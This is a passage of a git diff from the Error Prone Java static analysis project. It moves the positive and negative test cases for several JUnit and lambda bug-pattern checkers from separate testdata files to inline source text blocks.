destroy() {} + + public void restore() {} + + public void establish() {} + + public void estimate() {} + + // different signature + public boolean teslaInventedLightbulb() { + return true; + } + + public void tesselate(float f) {} + + // surrounding class is not a JUnit3 TestCase + private static class TestCase { + private void tesHelper() {} + + private void destroy() {} + } + + // correct test, despite redundant annotation + @Test + public void testILikeAnnotations() {} + + // both @Test & @Ignore + @Test + @Ignore + public void ignoredTest2() {} + + @Ignore + @Test + public void ignoredTest() {} + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * JUnit4 test class - we should not issue errors on that. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(JUnit4.class) + public class JUnit3TestNotRunNegativeCase2 { + + // JUnit4 tests should be ignored, no matter what their names are. + @Test + public void nameDoesNotStartWithTest() {} + + @Test + public void tesName() {} + + @Test + public void tstName() {} + + @Test + public void TestName() {} + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runner.Runner; + + /** + * Tricky case - mixed JUnit3 and JUnit4. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(Runner.class) + public class JUnit3TestNotRunNegativeCase3 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") + .doTest(); } @Test public void negativeCase4() { - compilationHelper.addSourceFile("testdata/JUnit3TestNotRunNegativeCase4.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit3TestNotRunNegativeCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.Test; + +/** + * Abstract class - let's ignore those for now, it's hard to say what are they run with. + * + * @author rburny@google.com (Radoslaw Burny) + */ +public abstract class JUnit3TestNotRunNegativeCase4 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} +}""") + .doTest(); } @Test public void negativeCase5() { compilationHelper - .addSourceFile("testdata/JUnit3TestNotRunNegativeCase3.java") // needed as a dependency - .addSourceFile("testdata/JUnit3TestNotRunNegativeCase5.java") + .addSourceLines( + "JUnit3TestNotRunNegativeCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runner.Runner; + + /** + * Tricky case - mixed JUnit3 and JUnit4. + * + * @author rburny@google.com (Radoslaw Burny) + */ + @RunWith(Runner.class) + public class JUnit3TestNotRunNegativeCase3 extends TestCase { + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") + // needed as a dependency + .addSourceLines( + "JUnit3TestNotRunNegativeCase5.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Test; + + /** + * Class inherits RunWith from superclass, so should not emit errors. + * + * @author rburny@google.com (Radoslaw Burny) + */ + public class JUnit3TestNotRunNegativeCase5 extends JUnit3TestNotRunNegativeCase3 { + + public void testEasyCase() {} + + @Test + public void name() {} + + public void tesMisspelled() {} + + @Test + public void tesBothIssuesAtOnce() {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java index a3ab6914988..9412760815e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4SetUpNotRunTest.java @@ -38,13 +38,103 @@ public class JUnit4SetUpNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit4SetUpNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4SetUpNotRunPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Basic class with an untagged setUp method */ +@RunWith(JUnit4.class) +public class JUnit4SetUpNotRunPositiveCases { + // BUG: Diagnostic contains: @Before + public void setUp() {} +} + +@RunWith(JUnit4.class) +class J4PositiveCase2 { + // BUG: Diagnostic contains: @Before + protected void setUp() {} +} + +/** + * Replace @After with @Before + */ +@RunWith(JUnit4.class) +class J4AfterToBefore { + // BUG: Diagnostic contains: @Before + @After + protected void setUp() {} +} + +/** + * Replace @AfterClass with @BeforeClass + */ +@RunWith(JUnit4.class) +class J4AfterClassToBeforeClass { + // BUG: Diagnostic contains: @BeforeClass + @AfterClass + protected void setUp() {} +} + +class BaseTestClass { + void setUp() {} +} + +/** + * This is the ambiguous case that we want the developer to make the determination as to + * whether to rename setUp() + */ +@RunWith(JUnit4.class) +class J4Inherit extends BaseTestClass { + // BUG: Diagnostic contains: @Before + protected void setUp() {} +} + +/** + * setUp() method overrides parent method with @Override, but that method isn't @Before in the + * superclass + */ +@RunWith(JUnit4.class) +class J4OverriddenSetUp extends BaseTestClass { + // BUG: Diagnostic contains: @Before + @Override protected void setUp() {} +} + +@RunWith(JUnit4.class) +class J4OverriddenSetUpPublic extends BaseTestClass { + // BUG: Diagnostic contains: @Before + @Override public void setUp() {} +}""") + .doTest(); } @Test public void positiveCase_customBefore() { compilationHelper - .addSourceFile("testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java") + .addSourceLines( + "JUnit4SetUpNotRunPositiveCaseCustomBefore.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Slightly funky test case with a custom Before annotation */ + @RunWith(JUnit4.class) + public class JUnit4SetUpNotRunPositiveCaseCustomBefore { + // This will compile-fail and suggest the import of org.junit.Before + // BUG: Diagnostic contains: @Before + @Before + public void setUp() {} + } + + @interface Before {}""") .doTest(); } @@ -90,13 +180,116 @@ public void badVisibility() {} @Test public void positiveCase_customBeforeDifferentName() { compilationHelper - .addSourceFile("testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java") + .addSourceLines( + "JUnit4SetUpNotRunPositiveCaseCustomBefore2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test case with a custom Before annotation. */ + @RunWith(JUnit4.class) + public class JUnit4SetUpNotRunPositiveCaseCustomBefore2 { + // This will compile-fail and suggest the import of org.junit.Before + // BUG: Diagnostic contains: @Before + @Before + public void initMocks() {} + + // BUG: Diagnostic contains: @Before + @Before + protected void badVisibility() {} + } + + @interface Before {}""") .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/JUnit4SetUpNotRunNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4SetUpNotRunNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.Before; +import org.junit.internal.runners.JUnit38ClassRunner; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Not a JUnit 4 test (no @RunWith annotation on the class). */ +public class JUnit4SetUpNotRunNegativeCases { + public void setUp() {} +} + +@RunWith(JUnit38ClassRunner.class) +class J4SetUpWrongRunnerType { + public void setUp() {} +} + +@RunWith(JUnit4.class) +class J4SetUpCorrectlyDone { + @Before + public void setUp() {} +} + +/** May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. */ +@RunWith(JUnit4.class) +class J4SetUpJUnit3Class extends TestCase { + public void setUp() {} +} + +/** setUp() method is private and wouldn't be run by JUnit3 */ +@RunWith(JUnit4.class) +class J4PrivateSetUp { + private void setUp() {} +} + +/** + * setUp() method is package-local. You couldn't have a JUnit3 test class with a package-private + * setUp() method (narrowing scope from protected to package) + */ +@RunWith(JUnit4.class) +class J4PackageLocalSetUp { + void setUp() {} +} + +@RunWith(JUnit4.class) +class J4SetUpNonVoidReturnType { + int setUp() { + return 42; + } +} + +/** setUp() has parameters */ +@RunWith(JUnit4.class) +class J4SetUpWithParameters { + public void setUp(int ignored) {} + + public void setUp(boolean ignored) {} + + public void setUp(String ignored) {} +} + +/** setUp() method is static and wouldn't be run by JUnit3 */ +@RunWith(JUnit4.class) +class J4StaticSetUp { + public static void setUp() {} +} + +abstract class SetUpAnnotatedBaseClass { + @Before + public void setUp() {} +} + +/** setUp() method overrides parent method with @Before. It will be run by JUnit4BlockRunner */ +@RunWith(JUnit4.class) +class J4SetUpExtendsAnnotatedMethod extends SetUpAnnotatedBaseClass { + public void setUp() {} +}""") + .doTest(); } public abstract static class SuperTest { diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java index 7504f217de4..e665cdbdf0f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TearDownNotRunTest.java @@ -32,25 +32,197 @@ public class JUnit4TearDownNotRunTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/JUnit4TearDownNotRunPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TearDownNotRunPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.Before; + import org.junit.BeforeClass; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * @author glorioso@google.com + */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCases { + // BUG: Diagnostic contains: @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class JUnit4TearDownNotRunPositiveCase2 { + // BUG: Diagnostic contains: @After + protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4BeforeToAfter { + // BUG: Diagnostic contains: @After + @Before protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4BeforeClassToAfterClass { + // BUG: Diagnostic contains: @AfterClass + @BeforeClass protected void tearDown() {} + } + + class TearDownUnannotatedBaseClass { + void tearDown() {} + } + + @RunWith(JUnit4.class) + class JUnit4TearDownNotRunPositiveCase3 extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasOverride extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + @Override protected void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasPublicOverride extends TearDownUnannotatedBaseClass { + // BUG: Diagnostic contains: @After + @Override public void tearDown() {} + }""") + .doTest(); } @Test public void positiveCase_customAnnotation() { compilationHelper - .addSourceFile("testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java") + .addSourceLines( + "JUnit4TearDownNotRunPositiveCaseCustomAfter.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Slightly funky test case with a custom After annotation) */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCaseCustomAfter { + // This will compile-fail and suggest the import of org.junit.After + // BUG: Diagnostic contains: @After + @After + public void tearDown() {} + } + + @interface After {}""") .doTest(); } @Test public void positiveCase_customAnnotationDifferentName() { compilationHelper - .addSourceFile("testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java") + .addSourceLines( + "JUnit4TearDownNotRunPositiveCaseCustomAfter2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Test case with a custom After annotation. */ + @RunWith(JUnit4.class) + public class JUnit4TearDownNotRunPositiveCaseCustomAfter2 { + // This will compile-fail and suggest the import of org.junit.After + // BUG: Diagnostic contains: @After + @After + public void tidyUp() {} + } + + @interface After {}""") .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/JUnit4TearDownNotRunNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TearDownNotRunNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.After; + import org.junit.internal.runners.JUnit38ClassRunner; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** Not a JUnit 4 class (no @RunWith annotation on the class). */ + public class JUnit4TearDownNotRunNegativeCases { + public void tearDown() {} + } + + @RunWith(JUnit38ClassRunner.class) + class J4TearDownDifferentRunner { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownHasAfter { + @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownExtendsTestCase extends TestCase { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownPrivateTearDown { + private void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownPackageLocal { + void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownNonVoidReturnType { + int tearDown() { + return 42; + } + } + + @RunWith(JUnit4.class) + class J4TearDownTearDownHasParameters { + public void tearDown(int ignored) {} + + public void tearDown(boolean ignored) {} + + public void tearDown(String ignored) {} + } + + @RunWith(JUnit4.class) + class J4TearDownStaticTearDown { + public static void tearDown() {} + } + + abstract class TearDownAnnotatedBaseClass { + @After + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownInheritsFromAnnotatedMethod extends TearDownAnnotatedBaseClass { + public void tearDown() {} + } + + @RunWith(JUnit4.class) + class J4TearDownInheritsFromAnnotatedMethod2 extends TearDownAnnotatedBaseClass { + @After + public void tearDown() {} + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java index 3758cca49c7..59b86392000 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnit4TestNotRunTest.java @@ -37,12 +37,54 @@ public class JUnit4TestNotRunTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit4.class) + public class JUnit4TestNotRunPositiveCase1 { + // BUG: Diagnostic contains: @Test + public void testThisIsATest() {} + + // BUG: Diagnostic contains: @Test + public static void testThisIsAStaticTest() {} + }""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.runner.RunWith; + import org.mockito.junit.MockitoJUnitRunner; + + /** + * Mockito test runner that uses JUnit 4. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(MockitoJUnitRunner.class) + public class JUnit4TestNotRunPositiveCase2 { + // BUG: Diagnostic contains: @Test + public void testThisIsATest() {} + + // BUG: Diagnostic contains: @Test + public static void testThisIsAStaticTest() {} + }""") + .doTest(); } @Test @@ -598,29 +640,174 @@ public void foo() {} @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Not a JUnit 4 test (no @RunWith annotation on the class). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class JUnit4TestNotRunNegativeCase1 { + public void testThisIsATest() {} + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.internal.runners.JUnit38ClassRunner; + import org.junit.runner.RunWith; + + /** + * Not a JUnit 4 test (run with a JUnit3 test runner). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit38ClassRunner.class) + public class JUnit4TestNotRunNegativeCase2 { + public void testThisIsATest() {} + }""") + .doTest(); } @Test public void negativeCase3() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase3.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase3.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.*; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase3 { + // Doesn't begin with "test", and doesn't contain any assertion-like method invocations. + public void thisIsATest() {} + + // Isn't public. + void testTest1() {} + + // Have checked annotation. + @Test + public void testTest2() {} + + @Before + public void testBefore() {} + + @After + public void testAfter() {} + + @BeforeClass + public void testBeforeClass() {} + + @AfterClass + public void testAfterClass() {} + + // Has parameters. + public void testTest3(int foo) {} + + // Doesn't return void + public int testSomething() { + return 42; + } +}""") + .doTest(); } @Test public void negativeCase4() { - compilationHelper.addSourceFile("testdata/JUnit4TestNotRunNegativeCase4.java").doTest(); + compilationHelper + .addSourceLines( + "JUnit4TestNotRunNegativeCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junit.framework.TestCase; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase4 extends TestCase { + public void testThisIsATest() {} +}""") + .doTest(); } @Test public void negativeCase5() { compilationHelper - .addSourceFile("testdata/JUnit4TestNotRunBaseClass.java") - .addSourceFile("testdata/JUnit4TestNotRunNegativeCase5.java") + .addSourceLines( + "JUnit4TestNotRunBaseClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import org.junit.After; + import org.junit.Before; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + /** + * Base class for test cases to extend. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + @RunWith(JUnit4.class) + public class JUnit4TestNotRunBaseClass { + @Before + public void testSetUp() {} + + @After + public void testTearDown() {} + + @Test + public void testOverrideThis() {} + }""") + .addSourceLines( + "JUnit4TestNotRunNegativeCase5.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** + * Methods that override methods with @Test should not trigger an error (JUnit 4 will run them). + * + * @author eaftan@google.com (Eddie Aftandilian) + */ +@RunWith(JUnit4.class) +public class JUnit4TestNotRunNegativeCase5 extends JUnit4TestNotRunBaseClass { + @Override + public void testSetUp() {} + + @Override + public void testTearDown() {} + + @Override + public void testOverrideThis() {} +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java index c50831b1d2e..36ed0ba988a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitAssertSameCheckTest.java @@ -38,11 +38,58 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/JUnitAssertSameCheckPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "JUnitAssertSameCheckPositiveCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * Positive test cases for {@link JUnitAssertSameCheck} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class JUnitAssertSameCheckPositiveCase { + + public void test(Object obj) { + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + org.junit.Assert.assertSame(obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + org.junit.Assert.assertSame("message", obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + junit.framework.Assert.assertSame(obj, obj); + + // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit + junit.framework.Assert.assertSame("message", obj, obj); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/JUnitAssertSameCheckNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "JUnitAssertSameCheckNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for {@link JUnitAssertSameCheck} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class JUnitAssertSameCheckNegativeCases { + + public void test(Object obj1, Object obj2) { + org.junit.Assert.assertSame(obj1, obj2); + org.junit.Assert.assertSame("message", obj1, obj2); + junit.framework.Assert.assertSame(obj1, obj2); + junit.framework.Assert.assertSame("message", obj1, obj2); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java index d1043970adb..3df8bc05499 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/JUnitParameterMethodNotFoundTest.java @@ -30,29 +30,236 @@ public class JUnitParameterMethodNotFoundTest { @Test public void negativeCase_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCase.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Arrays; +import java.util.Iterator; +import java.util.List; +import junitparams.JUnitParamsRunner; +import junitparams.Parameters; +import junitparams.naming.TestCaseName; +import org.junit.Test; +import org.junit.runner.RunWith; + +/** Negative cases for {@link com.google.errorprone.bugpatterns.JUnitParameterMethodNotFound} */ +@RunWith(JUnitParamsRunner.class) +public class JUnitParameterMethodNotFoundNegativeCase { + + private static final String METHOD = "named1"; + + private static Object[] dataProvider() { + return new Object[] {1}; + } + + private static Object[] dataProvider1() { + return new Object[] {2}; + } + + @Test + @Parameters(method = "dataProvider, dataProvider1") + public void paramStaticProvider(int a) {} + + @Test + @Parameters(source = Inner.class, method = "dataProviderInner") + public void testSource(int a) {} + + @Test + @Parameters({"AAA,1", "BBB,2"}) + public void paramsInAnnotation(String p1, Integer p2) {} + + @Test + @Parameters({"AAA|1", "BBB|2"}) + public void paramsInAnnotationPipeSeparated(String p1, Integer p2) {} + + @Test + @Parameters + public void paramsInDefaultMethod(String p1, Integer p2) {} + + private Object parametersForParamsInDefaultMethod() { + return new Object[] {new Object[] {"AAA", 1}, new Object[] {"BBB", 2}}; + } + + @Test + @Parameters(method = METHOD) + public void paramsInNamedMethod(String p1, Integer p2) {} + + private Object named1() { + return new Object[] {"AAA", 1}; + } + + @Test + @Parameters(method = "named2,named3") + public void paramsInMultipleMethods(String p1, Integer p2) {} + + private Object named2() { + return new Object[] {"AAA", 1}; + } + + private Object named3() { + return new Object[] {"BBB", 2}; + } + + @Test + @Parameters + public void paramsInCollection(String p1) {} + + private List parametersForParamsInCollection() { + return Arrays.asList("a"); + } + + @Test + @Parameters + public void paramsInIterator(String p1) {} + + private Iterator parametersForParamsInIterator() { + return Arrays.asList("a").iterator(); + } + + @Test + @Parameters + public void paramsInIterableOfIterables(String p1, String p2) {} + + private List> parametersForParamsInIterableOfIterables() { + return Arrays.asList(Arrays.asList("s01e01", "s01e02"), Arrays.asList("s02e01", "s02e02")); + } + + @Test + @Parameters( + "please\\\\, escape commas if you use it here and don't want your parameters to be split") + public void commasInParametersUsage(String phrase) {} + + @Test + @Parameters({"1,1", "2,2", "3,6"}) + @TestCaseName("factorial({0}) = {1}") + public void customNamesForTestCase(int argument, int result) {} + + @Test + @Parameters({"value1, value2", "value3, value4"}) + @TestCaseName("[{index}] {method}: {params}") + public void predefinedMacroForTestCaseNames(String param1, String param2) {} + + public Object mixedParameters() { + boolean booleanValue = true; + int[] primitiveArray = {1, 2, 3}; + String stringValue = "Test"; + String[] stringArray = {"one", "two", null}; + return new Object[] {new Object[] {booleanValue, primitiveArray, stringValue, stringArray}}; + } + + @Test + @Parameters(method = "mixedParameters") + @TestCaseName("{0}, {1}, {2}, {3}") + public void usageOfMultipleTypesOfParameters( + boolean booleanValue, int[] primitiveArray, String stringValue, String[] stringArray) {} + + static class Inner { + public Object dataProviderInner() { + return new Object[] {1}; + } + } +}""") .doTest(); } @Test public void negativeCase_nonJUnitParamsRunner_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.Parameters; + import org.junit.Test; + import org.junit.runner.RunWith; + import org.junit.runners.JUnit4; + + @RunWith(JUnit4.class) + public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner { + @Test + @Parameters(method = "named1") + public void paramStaticProvider() {} + }""") .doTest(); } @Test public void negativeCase_inheritedMethods_noErrorsFound() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java") - .addSourceFile("testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseBaseClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.JUnitParamsRunner; + import org.junit.runner.RunWith; + + @RunWith(JUnitParamsRunner.class) + public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass { + public Object named1() { + return new Object[] {1}; + } + }""") + .addSourceLines( + "JUnitParameterMethodNotFoundNegativeCaseSuperClass.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junitparams.JUnitParamsRunner; + import junitparams.Parameters; + import org.junit.Test; + import org.junit.runner.RunWith; + + @RunWith(JUnitParamsRunner.class) + public class JUnitParameterMethodNotFoundNegativeCaseSuperClass + extends JUnitParameterMethodNotFoundNegativeCaseBaseClass { + @Test + @Parameters(method = "named1") + public void testNamed(int a) {} + }""") .doTest(); } @Test public void positiveCase_errorReported() { compilationHelper - .addSourceFile("testdata/JUnitParameterMethodNotFoundPositiveCase.java") + .addSourceLines( + "JUnitParameterMethodNotFoundPositiveCase.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import junitparams.JUnitParamsRunner; +import junitparams.Parameters; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(JUnitParamsRunner.class) +public class JUnitParameterMethodNotFoundPositiveCase { + + @Test + @Parameters + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void paramsInDefaultMethod(String p1, Integer p2) {} + + @Test + @Parameters(method = "named2,named3") + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void paramsInMultipleMethods(String p1, Integer p2) {} + + @Test + @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = "dataProvider") + // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] + public void testSource(int a) {} + + static class Inner { + public Object dataProvider() { + return new Object[] {1}; + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java index 54ceb4d6c23..06dd80ce5f2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/LambdaFunctionalInterfaceTest.java @@ -35,14 +35,265 @@ public class LambdaFunctionalInterfaceTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/LambdaFunctionalInterfacePositiveCases.java") + .addSourceLines( + "LambdaFunctionalInterfacePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.List; +import java.util.function.Function; + +public class LambdaFunctionalInterfacePositiveCases { + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooIntToDoubleFunctionPr(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private long fooIntToLongFunction(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private long fooIntToIntFunction(int x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooDoubleToDoubleFunction(double x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private int fooDoubleToIntFunction(double x, Function fn) { + return fn.apply(x); + } + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private void fooInterface(String str, Function func) {} + + // BUG: Diagnostic contains: [LambdaFunctionalInterface] + private double fooDouble(double x, Function fn) { + return fn.apply(x); + } + + public static class WithCallSiteExplicitFunction { + + private static double generateDataSeries(Function curveFunction) { + final double scale = 100; + final double modX = 2.0; + return modX / curveFunction.apply(scale); + } + + // call site + private static double generateSpendCurveForMetric(double curved) { + // explicit Function variable creation + Function curveFunction = x 